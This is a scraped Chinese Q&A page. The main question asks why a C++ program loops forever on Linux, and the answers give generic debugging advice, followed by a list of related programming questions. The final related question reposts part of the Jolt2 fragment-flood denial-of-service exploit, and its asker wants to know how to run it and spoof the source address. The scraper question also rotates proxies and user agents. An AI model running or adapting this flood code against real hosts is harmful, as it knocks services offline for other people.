为什么写的一个C++程序在windows下正常运行,在linux系统下却出现死循环

为什么写的一个C++程序在windows下正常运行,在linux系统下却出现死循环,请各位大神指教

10个回答

建议贴出代码,可能是由于不同平台导致某些变量的长度出现了变化,导致值出现了异常
所以跳不出你的死循环。
单步调试和设断点调试(VS IDE中编译连接通过以后,按F10或F11键单步执行,按Shift+F11退出当前函数;在某行按F9设断点后按F5执行停在该断点处。)是程序员必须掌握的技能之一。

把 rand() 加一个最大值限制: rand() % MAX_RAND

结束死循环
Ctrl+Alt+Esc

断点调试,找出原因,看有没有循环判断出问题,比如大小溢出等

这里神人太多,一个是代码不贴,云里雾里,一些是废话乱说,不知所云。

代码呢?没有代码怎么找问题!

建议你分别Debug调试一下~

什么也没有, 就让别人分析。 逗呢吧。。。

要贴代码啊,兄弟,这里高手很多,但是没有人可以对这种问题有兴趣的。

本来想帮你分析代码的,既然没有代码,那就只能建议你gdb调试了

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
为什么写的一个C++程序在windows下正常运行,在linux系统下却出现死循环
为什么写的一个C++程序在windows下正常运行,在linux系统下却出现死循环,请各位大神指教
linux程序在windows下编译并生成exe文件
由于硬件限制,原本在linux下运行的c++程序现在需要改为运行在windows环境下。请问有没有什么好的方法,可以将已经编写好的linux程序在windows下重新编译,生成exe文件?多谢!
请问怎么用c语言分辨运行程序的系统是Windows还是Linux
请问怎么用c语言分辨运行程序的系统是Windows还是Linux(编译预处理的话我找不到相关的宏定义) 本人刚入门(也许还算不上)菜鸟一个,恳求指点
使用C#.NET的不能操作linux服务器下的ftp,这是为什么?
我在windows7电脑上分别使用IIS和Quick easy ftp server软件搭建了ftp环境,用C#写了ftp上传的程序,程序能正常运行并上传文件。但是同样的代码连接linux下的ftp服务器,却无法上传成功,提示创建目录失败,(使用其他flashFxp软件和windows默认的ftp登录工具是可以正常操作的),这个是我程序代码问题,还是windows和linux的差异有关,或者是因为服务器的设置问题。具体的原因是什么? 有没有使用C#成功操作linux服务器的例子。。。感激不尽~~
Linux C++程序运行的问题
在windows上运行没有问题,但是在Linux运行中出现了 error: cannot pass objects of non-trivially-copyable type ‘std::string {aka class std::basic_string<char>}’ through ‘...’这样的错误。 所在文件的情况: 文件中包含string头文件; 代码中对应了LOG的代码部分: PLOGINFO("jsonhelp parse1 %s", pret.c_str()); 函数声明: #define PLOGINFO(fmt, ...) PLOG(LOGLEVEL::LOG_INFO, fmt, ##__VA_ARGS__); void PLOG(LOGLEVEL loglevel, const char* fmt, ...); 确实是不知道到底是怎么回事,在网上查到的都是没有加.c_str函数,但是我确实加了的。
关于C++ #ifdef __WIN32__的问题
请问这个的作用是使程序能在Windows下运行的意思是 1、在windows下能编译运行 2、在Linux下编译的程序能在windows下运行 3、在Linux下编译的程序在Linux下运行,windows程序与之通信,或其他 4、或者其他,请说明,谢谢!!!
linux下c代码怎么在Windows&VS2017上运行?
有个Tools文件夹 ,包含生成图表的chartheader0.txt, 还有Misc文件夹,里面有头文件和库文件。 怎么在本机的vs上运行? 直接运行主程序代码,这一行会报错 printChartHeader("./Tools/chartheader0.txt", pCHART0);
Linux下多个子项目的工程依赖如何处理?详见正文
目前有一个项目,项目的结构如图。分为三个子项目。 ![图片说明](https://img-ask.csdn.net/upload/201909/08/1567929985_296268.jpg) Test是整个项目的测试部分,入口函数在这里,在windows环境下,cmake出的项目我需要先debug运行ISPC子项目生成一个.obj与.h文件,整个项目才能够跑的起来,这是前提。 但是当运行环境是linux时,由于cmake出的程序只有一份makefile,make构造时,势必无法找到ISPC生成的.o与.h文件,因为无法先运行ISPC子程序,所以目前的问题是在linux环境下,针对这个项目的情况,如何可以先运行ISPC部分能够生成想要的依赖文件,再运行Test部分???
如何实现像QQ远程协助这样在程序内嵌的功能
这是一个c/s的程序,我要在程序里面加上一个远程协助的功能,首先考虑的问题是如何让两个客户端能互相远程协助,打洞不成功的情况下,就要从服务器转发,有没有现成可用的库,我搜索过vnc和freerdp,但是不知道怎么用,希望有类似开发经验的前辈能分享一下心得 我的服务器是放在linux下,用的是C++写的 客户端的运行环境是windows,用c#写的
c plus程序在不同系统运行,出现问题
我的程序,在Windows下code blocks不存在问题,在linux条件下,报段错误,数组越界,但是core文件定位看不懂,求解![图片说明](https://img-ask.csdn.net/upload/201703/23/1490227682_689233.png)
关于x264交叉编译(linux to windows)的库在vs2005中链接失败的问题
环境: centos mingw gcc版本: [root@localhost x264]# x86_64-w64-mingw32-gcc -v Using built-in specs. COLLECT_GCC=x86_64-w64-mingw32-gcc COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-w64-mingw32/4.9.2/lto-wrapper Target: x86_64-w64-mingw32 Configured with: ../configure --prefix=/usr --bindir=/usr/bin --includedir=/usr/include --mandir=/usr/share/man --infodir=/usr/share/info --datadir=/usr/share --build=x86_64-redhat-linux-gnu --host=x86_64-redhat-linux-gnu --with-gnu-as --with-gnu-ld --verbose --without-newlib --disable-multilib --disable-plugin --with-system-zlib --disable-nls --without-included-gettext --disable-win32-registry --enable-languages=c,c++,objc,obj-c++,fortran --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-threads=posix --enable-libgomp --target=x86_64-w64-mingw32 --with-sysroot=/usr/x86_64-w64-mingw32/sys-root --with-gxx-include-dir=/usr/x86_64-w64-mingw32/sys-root/mingw/include/c++ Thread model: posix gcc version 4.9.2 20141030 (Fedora MinGW 4.9.2-1.el6) (GCC) 配置: ./configure \ --prefix=../windows/x86_64 \ --enable-static \ --enable-pic \ --host=x86_64-w64-mingw32 \ --cross-prefix=x86_64-w64-mingw32- 结果: 1、生成的x264.exe能正常在windows中运行; 2、生成的libx264.a在vs2005的工程中不能被正常链接!!! 测试程序: #include "stdafx.h" #include "stdint.h" #include "x264.h" int _tmain(int argc, _TCHAR* argv[]) { x264_param_t param; x264_encoder_open(&param); return 0; } 1>Linking... 1>VideoEncoder.obj : error LNK2019: unresolved external symbol _x264_encoder_open_148 referenced in function _wmain 1>F:\personal\sourcecode\VideoEncoder\Debug\VideoEncoder.exe : fatal error LNK1120: 1 unresolved externals 分析: dumpbin /ALL libx264.a > 1.txt String Table Size = 0x539 bytes COFF SYMBOL TABLE 000 00000000 DEBUG notype Filename | .file encoder.c 002 00000000 SECT1 notype () Static | x264_slice_header_init tag index 00000000 size 00000000 lines 00000000 next function 00000000 004 000002D0 SECT1 notype () Static | mbcmp_init 005 000007D0 SECT1 notype () Static | sprintf 006 00000800 SECT1 notype () Static | snprintf 007 00000820 SECT1 notype () Static | x264_fdec_filter_row 008 00000F00 SECT1 notype () Static | x264_set_aspect_ratio.isra.3 009 00001020 SECT1 notype () Static | x264_encoder_thread_init 00A 00001050 SECT1 notype () Static | x264_nal_end 00B 00001190 SECT1 notype () Static | x264_encoder_encapsulate_nals.constprop.13 00C 00001360 SECT1 notype () Static | x264_encoder_frame_end.part.7 00D 00002870 SECT1 notype () Static | x264_slice_write 00E 00001400 SECT7 notype Static | x264_ue_size_tab 00F 000013EC SECT7 notype Static | x264_mb_chroma_pred_mode_fix 010 00006470 SECT1 notype () Static | x264_slices_write 011 000066B0 SECT1 notype () External | x264_encoder_open_148 012 00000000 SECTB notype Static | .rdata$.refptr.x264_levels 发现libx264.a中是x264_encoder_open_148,而vs2005链接的时候寻找的是_x264_encoder_open_148,因此产生了链接问题。 经查资料,发现是因为msvc在链接c函数时都会加"_",而在linux中使用mingw编译的库却没有加"_", 在configure时增加--extra-cflags="-fleading-underscore": No working C compiler found. Makefile:3: config.mak: 没有那个文件或目录 cat: config.h: 没有那个文件或目录 有谁知道解决办法?不胜感激!
C 语言 EOF和文件读写及终止输入
我在C Primer Plus中看到这样一个例子用于终止输入的方法: ``` #include <stdio.h> int main() { int ch; while((ch=getchar())!=EOF) putchar(ch); return 0; } ``` 在这个地方使用的是EOF来终止,一般EOF是用于文件读写结尾的返回,end of file, 因为EOF的值是-1,而在标准字符集中没有-1对应的值,所以可以用其来现实文件的结尾。在大多数系统中有具有一种从键盘模拟文件结尾的方法。所以这个地方使用了 EOF作为输入结尾的标志 问题来了:我们在键盘中不能输入-1,那么程序是如何读取到的这个EOF,从而终止输入的呢?怎么上面这个程序能够有效的实现最终的这个输入终止呢? 我在windows平台上运行这个程序,由于没办法输入-1,所以没办法终止程序,在linux上键入Ctrl+Z(Ctrl+Z在一些系统中可以作为文件结尾的标志) 然后linux现实的是如下的样子![图片说明](https://img-ask.csdn.net/upload/201611/05/1478336619_474167.png) 求大神指点
用什么语言编写的GUI程序体积最小?
想自己写一个选课助手,功能已经用python实现,现在需要做界面。 目前用pyqt写的界面,但是打包后的程序太大,有100MB左右,且包含 多个文件夹和dll文件,看起来不舒服,双击后打开的速度也很慢。 用什么语言能够写出打包后体积较小的软件?像下面这个软件只有一个单独的 exe,且只有4.5MB,双击后打开的速度很快。 ![图片说明](https://img-ask.csdn.net/upload/201812/23/1545572228_413941.jpg) 最终的程序想要只有一个体积很小的exe文件,且双击后的启动速度很快,能在windows上运行就可以,当然如果支持mac更好,不要求linux。 用什么语言的什么工具比较好?还请各位指教。
Linux中c语言多线程gdb调试“Cannot access memory at address”如何解决
程序的目的是做一个xml解析的工作。 部分代码如下: #define BUFLEN 10240 typedef struct buffer_t//需要操作的结构体 { char *buf; Bcsarray *bcsay; int bufnum; struct buffer_t *next; }databuf; databuf *buf, *bufs;//buf为链表头,bufs为操作时的游动指针 void readxml(void *arg);//第一个线程,已经正确初始化了buf链表,每块中buf->buf的大小都为BUFLEN+1;问题不在这个函数中,故不再列出 void division(void *arg)//有两个重要位置我标记了出来,后面有说明 { bufs = buf; while (bufs != NULL) { int i = 0, j = 0; int n = 0; if (bufs->buf[i] == '<') { j = i; j++; switch (bufs->buf[j]) { case '/': { while (1) { j++; if (bufs->buf[j] == 0) { if (bufs->next == NULL) { bufs->bcsay->bcs[n].bufnum = bufs->bufnum; bufs->bcsay->bcs[n].bufpos = i; bufs->bcsay->bcs[n].bt = Etag_start; i = j; break; } else { char *e = (char*)malloc(sizeof(char)*(BUFLEN + 1)); **strcpy(e, bufs->next->buf);//这里报错(2号位置)** strcpy(bufs->next->buf, bufs->buf + i); strcat(bufs->next->buf, e); bufs->buf[i] = 0; free(e); break; } } if (bufs->buf[j] == '<') { bufs->bcsay->bcs[n].bufnum = bufs->bufnum; bufs->bcsay->bcs[n].bufpos = i; bufs->bcsay->bcs[n].bt = Etag_start; n++; i = j; break; } } }; break; case '?': { while (1) { j++; if (bufs->buf[j] == 0) { char *e = (char*)malloc(sizeof(char)*(BUFLEN + 1)); strcpy(e, bufs->next->buf); strcpy(bufs->next->buf, bufs->buf + i); strcat(bufs->next->buf, e); bufs->buf[i] = 0; free(e); break; } if (bufs->buf[j] == '>') { if (bufs->buf[j - 1] == '?') { bufs->bcsay->bcs[n].bufnum = bufs->bufnum; bufs->bcsay->bcs[n].bufpos = i; bufs->bcsay->bcs[n].bt = PI_start; n++; j++; i = j; break; } } } }; break; case '!': { while (1) { j++; if (bufs->buf[j] == 0) { char *e = (char*)malloc(sizeof(char)*(BUFLEN + 1)); strcpy(e, bufs->next->buf); strcpy(bufs->next->buf, bufs->buf + i); strcat(bufs->next->buf, e); bufs->buf[i] = 0; free(e); break; } if (bufs->buf[j] == '>') { if (bufs->buf[j - 1] == '-'&&bufs->buf[j - 2] == '-') { bufs->bcsay->bcs[n].bufnum = bufs->bufnum; bufs->bcsay->bcs[n].bufpos = i; bufs->bcsay->bcs[n].bt = COMMENT_start; n++; j++; i = j; break; } else if (bufs->buf[j - 1] == ']'&&bufs->buf[j - 2] == ']') { bufs->bcsay->bcs[n].bufnum = bufs->bufnum; bufs->bcsay->bcs[n].bufpos = i; bufs->bcsay->bcs[n].bt = CDSECT_start; n++; j++; i = j; break; } } } }; break; default: { while (1) { j++; if (bufs->buf[j] == 0) { if (bufs->next == NULL) { bufs->bcsay->bcs[n].bufnum = bufs->bufnum; bufs->bcsay->bcs[n].bufpos = i; int k = 1; while (1) { if (bufs->buf[j - k] == '>') { if (bufs->buf[j - k - 1] == '/') bufs->bcsay->bcs[n].bt = Etag_start; else bufs->bcsay->bcs[n].bt = Stag_start; break; } k++; } i = j; } else { char *e = (char*)malloc(sizeof(char)*(BUFLEN + 1)); **strcpy(e, bufs->next->buf);//这里正常运行(1号位置)** strcpy(bufs->next->buf, bufs->buf + i); strcat(bufs->next->buf, e); bufs->buf[i] = 0; free(e); break; } } if (bufs->buf[j] == '<') { bufs->bcsay->bcs[n].bufnum = bufs->bufnum; bufs->bcsay->bcs[n].bufpos = i; int k = 1; while (1) { if (bufs->buf[j - k] == '>') { if (bufs->buf[j - k - 1] == '/') bufs->bcsay->bcs[n].bt = Etag_start; else bufs->bcsay->bcs[n].bt = Stag_start; break; } k++; } n++; i = j; break; } } }; break; } } else { i++; } } bufs = bufs->next; } } 两个线程我已经做了处理,暂时是串行执行的,互不影响。division这个线程,第一次(1号位置)和第二次(二号位置)运行的分支我已标注出,分支中的逻辑完全相同,但是只有第一次可以运行通过,第二次就不行了。循环会有很多次,但现在只能运行到第二次结尾。本来想删掉一部分无关代码,但害怕出问题,敬请谅解。 以上代码,我在windows下用vs2015跑过。把两个线程串行地写在一个函数中,正常运行。但是在Linux下用多线程,就会出现以上问题,strcpy函数位置出错。 后来经过调试发现,是在二号位置中,bufs->next->buf的问题。当我在gdb中调试到这里时,用“p bufs->next->buf”输出内容时,就出现Cannot access memory at address的错误。但是我访问数据结构中的其他项,比如 “p bufs->next->bufnum”,输出正常。并且在上一个线程中,一切正常。 求大神指点。
VS2008 C++ http服务器问题(特别急!!!)
最近老大让我写一个用vs C++ 实现htpp服务器,我上网搜了几天便弄出来一个,老大一看,说不行,我这个服务器只是简单的响应,显示一个静态的网页,他要的是能与客户端进行交互的,我在网上又搜了好几天,基本上都是说用CGI,但是大多数文档都linux的CGI实现,而且到现在还不知道怎么才能让cgi程序运行在自己的http上,也不知道CGI在windows下怎么去写,网上都说,要在上面cgi—bin目录下配置cgi文件,。。。都不知道那边有cgi-bin目录啊,更可怕的是,我还不知道到底是不是用CGI实现的。 http://www.tuling123.com/openapi/api?key=6e11f5142c35cbf2ca61a3e9ad86532e&info=你好 这是我们老大给的例子,他上面等于好后面可以根据不同的信息做出不同的回应 打开浏览器 在网址上连接http://www.tuling123.com/openapi/api?key=6e11f5142c35cbf2ca61a3e9ad86532e&info=你好 浏览器会回应{"code":100000,"text":"你好啊,希望你今天过的快乐"} 把”你好“还成别的,浏览器也会回应相对应的信息。 老大希望我能实现这种功能 各位大神帮帮忙吧啊啊啊
ruby在xp下接收udp消息延时
我在跨xp、linux两个平台使用ruby的UDPSocket通信时,遇到了如下问题: 在windows下运行如下代码接收消息: [code="ruby"] require 'socket' socket = UDPSocket.new socket.bind("1.2.3.4",12345) loop do msg, sender = socket.recvfrom(1024) host = sender[3] puts "#{Time.now}: #{host} '#{msg}'" end [/code] 在linux下运行最简单的c、ruby、python各种版本的发送字符串程序,windows下的接收端都会延时几秒以后才打印。 把windows下的接收端换成python或者c的版本以后,linux端一发送,windows端立马收到并打印。 请问有哪位知道原因吗?万分感谢。
python3多进程爬虫的每个进程停止运行但是程序没有退出?
我写了一个多进程和多线程结合的爬虫(我不知道多进程和多线程怎样结合使用)所以我先说一下**我的思路**: * 首先我爬取的是[某车之家](https://www.autohome.com.cn/)的文章 * 汽车之家有很多种车,比如奥迪,宝马,奔驰,我创建一个进程池pool, 对应每一种车创建一个进程下载它的文章 * 然后,因为每种车下面有很多篇文章,我创建一个线程池,对应每一篇文章,创建一个线程来下载文章 * 创建进程池我使用的是multiprocessing.Pool * 创建线程池使用的是concurrent.futures.ThreadPoolExecutor ## 那么现在问题来了 * 当我刚开始运行我的代码的时候,因为我创建的进程池大小是cpu_count()=8,所以打开任务管理器可以看到8个python进程正在运行 ![图片说明](https://img-ask.csdn.net/upload/201901/26/1548506446_775132.png) * **然后,当代码运行一段时间后,进程池中的8个进程全部停止运行了** ![图片说明](https://img-ask.csdn.net/upload/201901/26/1548506504_930707.png) ![图片说明](https://img-ask.csdn.net/upload/201901/26/1548506544_201575.png) ## 可以看到此时代码并没有运行完毕,而且代码运行卡在这里无论等多久都不会继续运行 * 我观察发现,这些进程在下载某辆车如本田-雅阁的所有文章后,注意是将所有文章下载完毕才会停止运行,而且不再运行 ## 我想知道进程池中的进程为什么会停止运行,而我的函数没有停止?可以确定的是我的爬虫任务并没有全部完成,仅仅完成了一小部分。进程池中的每一个进程在爬取几辆车的所有文章后停止运行,求大佬解答,不甚感激。 ## 代码如下 ``` # coding=utf-8 import requests import os import re import json import time import random import threading import multiprocessing import concurrent.futures from bs4 import BeautifulSoup def change_title(title): rstr = r"[\/\\\:\*\?\"\<\>\|]" return re.sub(rstr, "", title) USER_AGENTS = [ "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)", "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)", "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0", "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20", "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52", ] http_ip = list() https_ip = list() with open(r'D:\pycharm\Spider\99mm\useful_ip.txt', 'r') as fp: lines = fp.readlines() for line in lines: ips = eval(line) if str(ips['kind']) == 'HTTP': http_ip.append(ips['proxy']) else: https_ip.append(ips['proxy']) def get_all_cars(main_url, file_path): car_dict = {} html = requests.get(main_url) soup = BeautifulSoup(html.text, "html.parser") catalog = soup.find("div", id="hotcar-1").find_all("div", class_="name") for cata in catalog[-1:]: # suv, 紧凑型车, 中型车 cata_a = cata.find("a") print(cata_a["href"]) print(cata_a.get_text()) car_url = main_url + cata_a["href"] car_html = requests.get(car_url) car_soup = BeautifulSoup(car_html.text, "html.parser") # 有4个 class_="tab-content-item" car_letter_boxes = car_soup.find("div", class_="tab-content-item").find_all("div", class_="uibox") for car_letter_box in car_letter_boxes[:]: # 车牌按字母排序 A~Z, 一个字母下有很多车牌, 对每个字母进行处理 car_brand_info = car_letter_box.find("div", class_="uibox-con rank-list rank-list-pic") if car_brand_info: car_brands = car_brand_info.find_all("dl", olr=re.compile("^.*$")) for car_brand in car_brands: # 一个车牌有很多种车型, 对每个车牌进行处理 brand_name = car_brand.find("div").find("a").get_text() print("-car brand-", brand_name) car_dict[cata_a.get_text() + "-" + brand_name] = {} car_brand_path = main_path + "\\" + cata_a.get_text() + "-" + brand_name if not os.path.exists(car_brand_path): os.mkdir(car_brand_path) # os.chdir(car_brand_path) car_name_lists = car_brand.find_all("ul", class_="rank-list-ul") for car_name_list in car_name_lists: car_name_lis = car_name_list.find_all("li", id=re.compile("^.*$")) for car_name_li in car_name_lis: car_a_tag = car_name_li.find("h4").find("a") specific_car_url = "https:" + car_a_tag["href"] car_name = car_a_tag.get_text() print("\t", car_name, "\t", specific_car_url) car_dict[cata_a.get_text() + "-" + brand_name][car_name] = specific_car_url brand_cars_path = car_brand_path + "\\" + car_name if not os.path.exists(brand_cars_path): os.mkdir(brand_cars_path) # os.chdir(brand_cars_path) # 至此, 找到了每一辆车的url, 需要从这个url中找到它对应的一系列文章 # get_each_car_articles(main_url, specific_car_url) else: continue return car_dict def get_each_car_articles(main_url, specific_car_url, file_path, headers, proxies, info): # main_url, specific_car_url, file_path, headers, proxies, info = args # 传入的是每一种车的url, 即specific_car_url article_dict = {} specific_car_html = requests.get(url=specific_car_url, headers=headers, proxies=proxies) specific_car_soup = BeautifulSoup(specific_car_html.text, "html.parser") art_temp = specific_car_soup.find("div", class_="athm-sub-nav__channel athm-js-sticky") if art_temp: art = art_temp.find_all("li") else: print(f"\t\t****article is None, url is {specific_car_url}****") return part_url = art[6].find("a")["href"] specific_car_article_url = main_url + part_url right_pos = specific_car_article_url.rfind("/") specific_car_article_url = specific_car_article_url[:right_pos + 1] specific_car_article_html = requests.get(specific_car_article_url, headers=headers, proxies=proxies) specific_car_article_soup = BeautifulSoup(specific_car_article_html.text, "html.parser") page_info = specific_car_article_soup.find("div", class_="page") page_num = 1 if page_info: pages = page_info.find_all("a", target="_self") page_num = int(pages[-2].get_text()) for i in range(1, page_num + 1): if i == 1: page_url = specific_car_article_url else: page_url = specific_car_article_url[:-4] + str(i) + specific_car_article_url[-3:] # print("\t"*2, f"正在查找第{i}页的文章\t", page_url) page_html = requests.get(page_url, headers=headers, proxies=proxies) page_soup = BeautifulSoup(page_html.text, "html.parser") articles = page_soup.find("div", class_="cont-info").find_all("li") for article in articles: each_article = article.find("h3").find("a") each_article_url = "https:" + each_article["href"] each_article_title = each_article.get_text() article_dict[each_article_title] = each_article_url os.chdir(file_path) with concurrent.futures.ThreadPoolExecutor(max_workers=8) as t_executor: for key, value in article_dict.items(): t_executor.submit(download_each_article, *(value, key,info)) # thread_list = [] # for key, value in article_dict.items(): # thread_list.append(threading.Thread(target=download_each_article, args=(value, key,info))) # [thread.start() for thread in thread_list] # [thread.join() for thread in thread_list] def download_each_article(each_article_url, each_article_title, info): headers = { "User-Agent": random.choice(USER_AGENTS), "Referer": "https://www.autohome.com.cn" } proxies = {"proxy": random.choice(http_ip)} # each_article_url, each_article_title, headers, proxies, info = args print(f"\t\t--下载文章-- {info}\t{each_article_title}\t{each_article_url}") article_html = requests.get(each_article_url, headers=headers, proxies=proxies) article_soup = BeautifulSoup(article_html.text, "html.parser") article_content = article_soup.find("div", class_="container article") if article_content: with open(f"{change_title(each_article_title)}.txt", "w+", encoding="utf-8") as f: time_span = article_content.find("div", class_="article-info").find("span", class_="time") time = time_span.get_text() time_dict = {"time": time} f.write(json.dumps(time_dict) + "\n\n") article_content_div = article_content.find("div", id="articleContent") for content in article_content_div.find_all("p"): if content.get_text().strip(): content_dict = {"content": content.get_text()} f.write(json.dumps(content_dict) + "\n") else: try: imgs = content.find_all("a") for i in imgs: img = i.find("img") img_dict = {f"<[image] {img['alt']}> ": "https:" + img["src"]} f.write(json.dumps(img_dict) + "\n") except: continue pages = article_content.find("div", class_="athm-page__num") if pages: for a in pages.find_all("a", target="_self")[1:]: next_page_url = "https://www.autohome.com.cn" + a["href"] pages_html = requests.get(next_page_url, headers=headers, proxies=proxies) pages_soup = BeautifulSoup(pages_html.text, "html.parser") pages_content_div = pages_soup.find("div", class_="container article").find("div", id="articleContent") for content in pages_content_div.find_all("p"): if content.get_text().strip(): content_dict = {"content": content.get_text()} f.write(json.dumps(content_dict) + "\n") else: try: imgs = content.find_all("a") for i in imgs: img = i.find("img") img_dict = {f"<[image] {img['alt']}> ": "https:" + img["src"]} f.write(json.dumps(img_dict) + "\n") except: continue # 下载评论 f.write("\n") article_comment_span = article_content.find("div", "article-tools").find("span", class_="comment") article_comment_url = "https:" + article_comment_span.find("a")["href"] # print(article_comment_url) basic_reply_url = "https://reply.autohome.com.cn/api/comments/show.json?count=50&" \ "page={}&id={}&appid=1&datatype=jsonp&order=0&replyid=0" html = requests.get(article_comment_url, headers=headers, proxies=proxies) html_soup = BeautifulSoup(html.text, "html.parser") article_id = re.search(r"articleid=([\d]*)#", article_comment_url).groups()[0] first_json_dict = json.loads(requests.get(basic_reply_url.format(1, article_id), headers=headers, proxies=proxies).text[1:-1]) page_num = int(first_json_dict["commentcount"]) // 50 + 1 for i in range(1, page_num + 1): json_dict = json.loads(requests.get(basic_reply_url.format(i, article_id)).text[1:-1]) comment_dicts = json_dict["commentlist"] for comment in comment_dicts: comment_dict = {} comment_dict["RMemberId"] = comment["RMemberId"] comment_dict["RMemberName"] = comment["RMemberName"] comment_dict["replydate"] = comment["replydate"] comment_dict["ReplyId"] = comment["ReplyId"] comment_dict["RObjId"] = comment["RObjId"] comment_dict["RTargetReplyId"] = comment["RTargetReplyId"] comment_dict["RTargetMemberId"] = comment["RTargetMemberId"] comment_dict["RReplyDate"] = comment["RReplyDate"] comment_dict["RContent"] = comment["RContent"] comment_dict["RFloor"] = comment["RFloor"] f.write(json.dumps(comment_dict) + "\n") print(f"**{info}-{each_article_title} completed") else: print(f"\tPicture article, passed. URL is {each_article_url}") if __name__ == '__main__': main_url = r"https://www.autohome.com.cn" main_path = r"D:\pycharm\python_work\autohome\汽车之家" start_time = time.time() proxies = {'proxy': random.choice(http_ip)} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36", "Referer": "https://www.autohome.com.cn" } car_dict = get_all_cars(main_url, main_path) # print(car_dict) # with concurrent.futures.ProcessPoolExecutor(max_workers=8) as p_executor: # for keys, values in car_dict.items(): # for key, value in values.items(): # file_path = main_path + "\\" + str(keys) + "\\" + key # info = f"-{keys}-{key}-" # p_executor.submit(get_each_car_articles, *(main_url, value, file_path, headers, proxies, info)) pool = multiprocessing.Pool() for keys, values in car_dict.items(): print(keys, values) for key, value in values.items(): print("\t", key, value) file_path = main_path + "\\" + str(keys) + "\\" + key info = f"-{keys}-{key}-" pool.apply_async(get_each_car_articles, args=(main_url, value, file_path, headers, proxies, info)) pool.close() pool.join() end_time = time.time() print("##########已完成##########") print(f"spend time {end_time-start_time}") ```
关于UDP flood 攻击程序的问题
**下面是非常经典的jolt2 UDP FLOOD 代码,照着书给加了注释,在LINUX下可以运行,但是不知道该输入什么执行命令,求教。另外这个程序貌似不能伪造攻击者IP?求问 OvO ...** /* Jolt2.c - Tested against Win98, WinNT4/sp5,6, Win2K. An interesting side note is that minor changes to this packet cause NT4/Win2k (maybe others, not tested) memory use to jump *substantially* (+70 meg non-paged-pool on a machine with 196 mb phys). There seems to be a hard upper limit, but on machines with smaller amounts of memory or smaller swapfiles, ramping up the non-paged-pool this much might lead to a BSOD. .phonix. */ /* * File: jolt2.c * Author: Phonix <phonix@moocow.org> * Date: 23-May-00 * * Description: This is the proof-of-concept code for the * Windows denial-of-serice attack described by * the Razor team (NTBugtraq, 19-May-00) * (MS00-029). This code causes cpu utilization * to go to 100%. * * Tested against: Win98; NT4/SP5,6; Win2K * * Written for: My Linux box. YMMV. Deal with it. * * Thanks: This is standard code. Ripped from lots of places. * Insert your name here if you think you wrote some of * it. It's a trivial exploit, so I won't take credit * for anything except putting this file together. */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <getopt.h> //定义数据包结构 struct _pkt { struct iphdr ip; union { struct icmphdr icmp; struct udphdr udp; } proto; char data; } pkt; //获取各种数据包长度 int icmplen = sizeof(struct icmphdr), udplen = sizeof(struct udphdr), iplen = sizeof(struct iphdr), spf_sck; //程序的正确用法提示 void usage(char *pname) { fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname); fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); exit(0); } //主机名到IP地址的转换 u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res; res = gethostbyname(host_name); if (res == NULL) return (0); memcpy(&ip_bytes, res->h_addr, res->h_length); return (ip_bytes); } //出错退出处理 void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); } //组装碎片数据包并发送 int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) { int bs, psize; unsigned long x; struct sockaddr_in to; //填写地址信息 to.sin_family = AF_INET; to.sin_port = 1235; to.sin_addr.s_addr = dst_addr; if (port) psize = iplen + udplen + 1; else psize = iplen + icmplen + 1; //包长为29,因为只有一个字节的载荷数据 memset(&pkt, 0, psize); 